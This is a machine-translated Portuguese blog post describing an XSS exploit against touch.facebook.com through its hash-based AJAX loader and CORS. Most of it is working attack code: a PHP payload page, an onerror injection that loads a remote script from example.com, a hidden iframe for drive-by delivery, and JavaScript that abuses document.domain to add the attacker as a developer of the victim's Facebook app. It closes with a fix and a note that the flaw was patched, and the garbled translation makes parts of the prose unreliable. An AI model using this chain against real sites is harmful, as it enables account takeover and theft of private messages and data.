Aproveitando o HTML 5 para Conseguir XSS no Facebook

HTML 5 não faz muito para resolver os problemas de segurança do navegador. Na verdade, na verdade, amplia o alcance do que podem ser explorados, e desenvolvedores dão forças para corrigir o código que se pensava seguro.

Por exemplo HTML5 introduz o controle de acesso HTTP ou Cross-Origem Compartilhamento de Recursos . Isso permite que o navegador para fazer solicitações ajax domínio cruzado. Introduz novos cabeçalhos para que um serviço pode bloquear sites remotos de ser capaz de executar os pedidos não autorizados, mas o cliente realmente precisa adicionar javascript para confirmar a origem do pedido.

O Exploit

Vamos olhar para o toque página facebook touch.facebook.com (interface web para iPhone).  Existem algumas coisas que você deve observar:

  1. Se você estiver logado no Facebook, você está automaticamente conectado a esta página. Alguns sessão incrível magia permite que isso aconteça.
  2. Se você clicar em qualquer URL que você veja os links não realmente mudar a página, mas carregá-los com ajax. http://touch.facebook.com/ profile.php # realmente http://touch.facebook.com/profile.php cargas em um div na página.
  3. Esta interface não faz qualquer quadro real quebrando apenas clickjacking proteção, que realmente não importa para o que queremos fazer.

Javascript leva tudo após o hash (profile.php #) e faz um pedido de AJAX. Leva o conteúdo do ajax e carrega-lo em um div na página. O problema é que este não é restrito a URLs parente ou local. O invasor pode carregar uma URL remota, pois desta HTML5 “recurso”. Antes HTML5 isso teria causado um erro e não carregar o conteúdo. O pedido é feito do lado do cliente, assim que param do lado do servidor de filtragem (ou WAF ) não vai ajudar.

Para explorar esta tudo o que precisamos é de uma página PHP com alguns cabeçalhos extra:

http://touch.facebook.com/ http://example.com/xss.php #

O Código

<?php

// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');
// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');
// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
<!-- this div is needed to load the payload into facebook -->
<div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()">
<img style="display:none" src="x" onerror="alert('xss')" />

</div>

Porque o conteúdo da nossa carga é definido com “innerHTML” não podemos simplesmente conectar um tag <script> e esperar que ele funcione, mas outros eventos de fogo.  Neste exemplo, basta fazer uma imagem com uma src ruim e uma onerror segurar.

Agora podemos carregar um script remoto para fazer o trabalho para nós:

onerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"

Porque não facebook busto fora deste quadro, podemos simplesmente colocar o XSS em um iframe escondido em um site mal.

<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>

Agora, quando um usuário visualiza o site mal o hacker tem controle total sobre touch.facebook.com. O atacante pode:

  • Saiba quem você é
  • Veja suas fotos
  • Ler mensagens
  • Leia as mensagens enviadas
  • Enviar mensagens
  • Ler dados mais confidenciais (e-mail, telefone, amigos)
  • Adicione amigos
  • Post e comentários

Mas vamos supor que não é suficiente. E se precisamos acessar as facebook.com por algum motivo. Talvez nós queremos assumir um aplicativo no Facebook propriedade do usuário.

Para isso vamos usar: document.domain “.  Porque http://touch.facebook.com é um sub-domínio de http://facebook.com em nosso javascript / XSS, podemos definir document.domain em contato para ser facebook.com. Isto irá permitir-nos a falar diretamente com facebook.com

// this is for the iframe to facebook.com

document.domain = 'facebook.com'
uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}
// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');
tempIFrame.setAttribute('id','RSIFrame');
// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);
//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];
new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_"+uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();
}
// load the iframe

IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id='+app_id

Isso tudo foi feito do lado do cliente. Ajax carregado a carga, então usamos DOM para carregar o iframe para o resto da exploração. A parte hash da URL não é enviado para o servidor que torna quase impossível se no Facebook para saber o que foi explorado.

The Fix

Facebook pode simplesmente obrigar todos os urls ser relativo para a URL base, acrescentando ‘/’ na frente de todos os pedidos antes de enviar ajax.

Além disso, o XHR agora suporta um atributo de origem a partir da solicitação, assim facebook pudesse verificar que a origem coincide facebook.com antes do carregamento do conteúdo.

Coisas a Nota

Facebook não está sozinho neste exploração, tenho notificados outros sites e bibliotecas jquery que sofrem desse mesmo ataque.

Cross-Origem Compartilhamento de recursos está disponível no Firefox 3.5, Safari 4 e Google Chrome 2. IE8 suporta CORS com a função XDomainRequest vez do XMLHttpRequest existentes.

UPDATE: Este problema foi relatado em 13/07 resolvido por facebook em 14/07 (incrivelmente rápido e inesperado tempo de resposta!)

Fonte: http://m-austin.com/blog/?p=19
Traduzido por: Google Tradutor



Deixe uma resposta

O seu endereço de email não será publicado Campos obrigatórios são marcados *

*

Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>